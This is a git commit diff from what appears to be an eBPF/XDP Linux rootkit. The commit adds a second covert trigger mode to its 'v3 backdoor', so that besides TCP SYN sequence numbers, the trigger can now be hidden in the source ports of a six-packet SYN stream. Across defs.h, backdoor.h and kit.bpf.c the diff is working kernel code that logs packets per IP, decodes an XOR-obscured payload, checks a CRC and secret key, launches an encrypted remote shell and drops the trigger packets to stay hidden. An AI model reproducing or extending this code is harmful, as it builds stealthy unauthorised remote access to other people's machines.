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Added new hidden payload stream mode, now triggered using the source port. Fully integrated already, can select between that and seqnum in client. Both launch live encrypted shell via v3 backdoor

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h3xduck
2022-05-09 20:16:13 -04:00
parent ff0f34c6a4
commit 5320f35d01
11 changed files with 3447 additions and 2488 deletions
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21
src/ebpf/include/bpf/defs.h
View File

@@ -34,9 +34,14 @@ struct exec_var_hijack_active_data{//Map value
};
//Map value, contains 3 last packets from an specific IP (the key)
struct backdoor_packet_log_data{
struct backdoor_packet_log_data_32{
int last_packet_modified;
struct trigger_t trigger_array[3];
struct trigger_32_t trigger_array[3];
};
//Map value, contains 6 last packets from an specific IP (the key)
struct backdoor_packet_log_data_16{
int last_packet_modified;
struct trigger_16_t trigger_array[6];
};
@@ -55,12 +60,18 @@ struct exec_var_priv_hijack_active{ //Map
} exec_var_hijack_active SEC(".maps");
//Map to store log of packets received seeking to find a V3 backdoor trigger
struct backdoor_priv_packet_log{
struct backdoor_priv_packet_log_32{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024);
__type(key, __u32); //Source IPv4 of packet
__type(value, struct backdoor_packet_log_data);
} backdoor_packet_log SEC(".maps");
__type(value, struct backdoor_packet_log_data_32);
} backdoor_packet_log_32 SEC(".maps");
struct backdoor_priv_packet_log_16{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024);
__type(key, __u32); //Source IPv4 of packet
__type(value, struct backdoor_packet_log_data_16);
} backdoor_packet_log_16 SEC(".maps");
/*PROTECTED MAPS*/

188
src/ebpf/include/xdp/backdoor.h
View File

@@ -143,7 +143,14 @@ backdoor_finish:
}
static __always_inline int manage_backdoor_trigger_v3(struct backdoor_packet_log_data b_data){
/**
* @brief Operates the V3 backdoor, and opens an encrypted shell if succeeds
*Returns 1 if it wants to close to discard the ongoing packet.
*
* @param b_data
* @return __always_inline
*/
static __always_inline int manage_backdoor_trigger_v3_32(struct backdoor_packet_log_data_32 b_data){
int last_received = b_data.last_packet_modified;
int first_packet;
if(last_received>=0&&last_received<2){
@@ -154,51 +161,51 @@ static __always_inline int manage_backdoor_trigger_v3(struct backdoor_packet_log
//The following routine (not just the next check) is necessarily dirty in terms of programming,
//but the ebpf verifier strongly dislikes MOD operations (check report, screenshot)
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN] = {0};
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM] = {0};
if(first_packet == 0){
for(int ii=first_packet; ii<3; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
}
for(int ii=0; ii<first_packet; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
}
}else if(first_packet == 1){
for(int ii=first_packet; ii<3; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
}
for(int ii=0; ii<first_packet; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
}
}else if(first_packet == 2){
for(int ii=first_packet; ii<3; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
}
for(int ii=0; ii<first_packet; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
}
}
bpf_printk("Payload before XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
//First undo running XOR
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN-1; ii>0; ii--){
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM-1; ii>0; ii--){
char xor_res = payload[ii-1] ^ payload[ii];
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
}
bpf_printk("Payload after XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
@@ -220,12 +227,12 @@ static __always_inline int manage_backdoor_trigger_v3(struct backdoor_packet_log
__builtin_memcpy(&crc_char1, (char*)&(crc), sizeof(__u8));
__builtin_memcpy(&crc_char2, (char*)&(crc)+1, sizeof(__u8));
if(crc_char1 != payload[0x0A]){
bpf_printk("Failed backdoor V3 check 1: %x vs %x\n", crc_char1, payload[0x0A]);
return XDP_PASS;
bpf_printk("Failed backdoor V3 (32bit) check 1: %x vs %x\n", crc_char1, payload[0x0A]);
return 0;
}
if(crc_char2 != payload[0x0B]){
bpf_printk("Failed backdoor V3 check 2: %x vs %x\n", crc_char2, payload[0x0B]);
return XDP_PASS;
bpf_printk("Failed backdoor V3 (32bit) check 2: %x vs %x\n", crc_char2, payload[0x0B]);
return 0;
}
//Check the K3 used, that indicates the command issued, and whether it was a valid payload too
@@ -253,12 +260,157 @@ backdoor_finish_v3:
//Found no valid key 3
if(correct==0){
bpf_printk("FAIL CHECK 3\n");
return XDP_PASS;
return 0;
}
bpf_printk("Completed backdoor trigger v3, b_data position: %i\n", b_data.last_packet_modified);
bpf_printk("Completed backdoor trigger v3 (32bit), b_data position: %i\n", b_data.last_packet_modified);
execute_key_command(command_received);
return XDP_DROP;
return 1;
}
static __always_inline int manage_backdoor_trigger_v3_16(struct backdoor_packet_log_data_16 b_data){
int last_received = b_data.last_packet_modified;
int first_packet;
if(last_received>=0&&last_received<5){
first_packet = last_received+1;
}else{
first_packet = 0;
}
//The following routine is necessarily dirty in terms of programming,
//but the ebpf verifier strongly dislikes MOD operations (check report, screenshot)
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT] = {0};
if(first_packet == 0){
for(int ii=first_packet; ii<6; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
for(int ii=0; ii<first_packet; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
}else if(first_packet == 1){
for(int ii=first_packet; ii<6; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
for(int ii=0; ii<first_packet; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
}else if(first_packet == 2){
for(int ii=first_packet; ii<6; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
for(int ii=0; ii<first_packet; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
}else if(first_packet == 3){
for(int ii=first_packet; ii<6; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
for(int ii=0; ii<first_packet; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
}else if(first_packet == 4){
for(int ii=first_packet; ii<6; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
for(int ii=0; ii<first_packet; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
}else if(first_packet == 5){
for(int ii=first_packet; ii<6; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
for(int ii=0; ii<first_packet; ii++){
__u16 src_port = b_data.trigger_array[ii].src_port;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT*ii), &(src_port), sizeof(__u16));
}
}
bpf_printk("Payload before XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
//First undo running XOR
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT-1; ii>0; ii--){
char xor_res = payload[ii-1] ^ payload[ii];
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
}
bpf_printk("Payload after XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
//Now compute CRC
__u8 x;
__u16 crc = 0xFFFF;
__u8 length = 0x0A;
char *payload_p = payload;
while (length--){
x = crc >> 8 ^ *payload_p++;
x ^= x>>4;
crc = (crc << 8) ^ ((__u16)(x << 12)) ^ ((__u16)(x <<5)) ^ ((__u16)x);
}
//Check CRC with the one received
char crc_char1, crc_char2;
__builtin_memcpy(&crc_char1, (char*)&(crc), sizeof(__u8));
__builtin_memcpy(&crc_char2, (char*)&(crc)+1, sizeof(__u8));
if(crc_char1 != payload[0x0A]){
bpf_printk("Failed backdoor V3 (16bit) check 1 in %i: %x vs %x\n", last_received, crc_char1, payload[0x0A]);
return 0;
}
if(crc_char2 != payload[0x0B]){
bpf_printk("Failed backdoor V3 (16bit) check 2: %x vs %x\n", crc_char2, payload[0x0B]);
return 0;
}
//Check the K3 used, that indicates the command issued, and whether it was a valid payload too
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1];
int correct = 1;
int command_received = -1;
//Encrypted shell request
__builtin_memcpy(key3, CC_STREAM_TRIGGER_KEY_ENCRYPTED_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
result[ii] = payload[0x05+ii] ^ payload[0x08+ii];
if(result[ii]!=(key3[ii])){
bpf_printk("R: %x, K3:%x", result[ii], key3[ii]);
bpf_printk("P5:%x, P8:%x\n", payload[0x05+ii], payload[0x08+ii]);
correct = 0;
}
}
if(correct == 1){
//Found valid k3 value
command_received = CC_PROT_COMMAND_ENCRYPTED_SHELL;
goto backdoor_finish_v3;
}
backdoor_finish_v3:
//Found no valid key 3
if(correct==0){
bpf_printk("FAIL CHECK 3\n");
return 0;
}
bpf_printk("Completed backdoor trigger v3 (16bit), b_data position: %i\n", b_data.last_packet_modified);
execute_key_command(command_received);
return 1;
}
#endif

91
src/ebpf/kit.bpf.c
View File

@@ -108,47 +108,100 @@ int xdp_receive(struct xdp_md *ctx){
}
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
if(tcp->syn == 1){
//Now, we will need to take into account that payloads might be hidden in 32-bit fields or 16-bit ones.
//Support has been added for:
// 3-stream 32-bit field 16 payload triggers
// 6-stream 16-bit field 16 payload triggers
////32-bit 6-len streams
//SYN packet detected, store in bpf map.
//When a full stream comes, then it will be analyzed and search whether it is a valid sequence
//Known issue, ignored dliberately: IP sending packets to different ports classified as same communication
//This way we may include some port-knocking like mechanism.
bpf_printk("SYN detected");
__u32 ipvalue = ip->saddr;
struct backdoor_packet_log_data *b_data = (struct backdoor_packet_log_data*) bpf_map_lookup_elem(&backdoor_packet_log, &ipvalue);
struct backdoor_packet_log_data b_new_data = {0};
if (b_data != NULL ){
struct backdoor_packet_log_data_32 *b_data_32 = (struct backdoor_packet_log_data_32*) bpf_map_lookup_elem(&backdoor_packet_log_32, &ipvalue);
struct backdoor_packet_log_data_32 b_new_data_32 = {0};
if (b_data_32 != NULL ){
//Means first time this IP sends a packet to us
//It is always between the below range, this is just to avoid verifier complains
if(b_data->last_packet_modified>-1 && b_data->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES){
b_new_data.last_packet_modified = b_data->last_packet_modified;
if(b_data_32->last_packet_modified>-1 && b_data_32->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM){
b_new_data_32.last_packet_modified = b_data_32->last_packet_modified;
//Necessary complicated MOD, the verifier rejects it otherwise
b_new_data.last_packet_modified++;
if(b_new_data.last_packet_modified>=3){
b_new_data.last_packet_modified = 0;
b_new_data_32.last_packet_modified++;
if(b_new_data_32.last_packet_modified>=3){
b_new_data_32.last_packet_modified = 0;
}
b_new_data.trigger_array[0] = b_data->trigger_array[0];
b_new_data.trigger_array[1] = b_data->trigger_array[1];
b_new_data.trigger_array[2] = b_data->trigger_array[2];
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data), b_data);
int last_modified = b_new_data.last_packet_modified;
b_new_data_32.trigger_array[0] = b_data_32->trigger_array[0];
b_new_data_32.trigger_array[1] = b_data_32->trigger_array[1];
b_new_data_32.trigger_array[2] = b_data_32->trigger_array[2];
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data_32), b_data);
int last_modified = b_new_data_32.last_packet_modified;
//Yes, this is really needed to be done this way. Intervals are no sufficient
if(last_modified != 0 && last_modified != 1 && last_modified != 2){
return XDP_PASS;
}
b_new_data.trigger_array[last_modified].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
b_new_data_32.trigger_array[last_modified].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log_32, &ipvalue, &b_new_data_32, BPF_ANY);
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
//where for other purpose, we must still check it)
return manage_backdoor_trigger_v3(b_new_data);
int ret = manage_backdoor_trigger_v3_32(b_new_data_32);
if(ret == 1){
return XDP_DROP;
}
}
}else{
//Done this way to avoid verifier complains
int num = 0;
//bpf_probe_read((void*)&(b_new_data->last_packet_modified), sizeof(__u32), (void*)&num);
//bpf_probe_read(&(b_new_data->trigger_array[0].seq_raw), sizeof(__u32), &(tcp->seq));
b_new_data.last_packet_modified = 0;
b_new_data.trigger_array[0].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
b_new_data_32.last_packet_modified = 0;
b_new_data_32.trigger_array[0].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log_32, &ipvalue, &b_new_data_32, BPF_ANY);
}
////16 bit 6-len streams
struct backdoor_packet_log_data_16 *b_data_16 = (struct backdoor_packet_log_data_16*) bpf_map_lookup_elem(&backdoor_packet_log_16, &ipvalue);
struct backdoor_packet_log_data_16 b_new_data_16 = {0};
if (b_data_16 != NULL ){
//Means first time this IP sends a packet to us
//It is always between the below range, this is just to avoid verifier complains
if(b_data_16->last_packet_modified>-1 && b_data_16->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT){
b_new_data_16.last_packet_modified = b_data_16->last_packet_modified;
//Necessary complicated MOD, the verifier rejects it otherwise
b_new_data_16.last_packet_modified++;
if(b_new_data_16.last_packet_modified>=6){
b_new_data_16.last_packet_modified = 0;
}
b_new_data_16.trigger_array[0] = b_data_16->trigger_array[0];
b_new_data_16.trigger_array[1] = b_data_16->trigger_array[1];
b_new_data_16.trigger_array[2] = b_data_16->trigger_array[2];
b_new_data_16.trigger_array[3] = b_data_16->trigger_array[3];
b_new_data_16.trigger_array[4] = b_data_16->trigger_array[4];
b_new_data_16.trigger_array[5] = b_data_16->trigger_array[5];
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data_32), b_data);
int last_modified = b_new_data_16.last_packet_modified;
//Yes, this is really needed to be done this way. Intervals are not sufficient
if(last_modified != 0 && last_modified != 1 && last_modified != 2 && last_modified != 3 && last_modified != 4 && last_modified != 5){
return XDP_PASS;
}
b_new_data_16.trigger_array[last_modified].src_port = tcp->source;
bpf_map_update_elem(&backdoor_packet_log_16, &ipvalue, &b_new_data_16, BPF_ANY);
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
//where for other purpose, we must still check it)
int ret = manage_backdoor_trigger_v3_16(b_new_data_16);
if(ret == 1){
return XDP_DROP;
}
}
}else{
//Done this way to avoid verifier complains
b_new_data_16.last_packet_modified = 0;
b_new_data_16.trigger_array[0].src_port = tcp->source;
bpf_map_update_elem(&backdoor_packet_log_16, &ipvalue, &b_new_data_16, BPF_ANY);
}
}
//Check for the packet modification PoC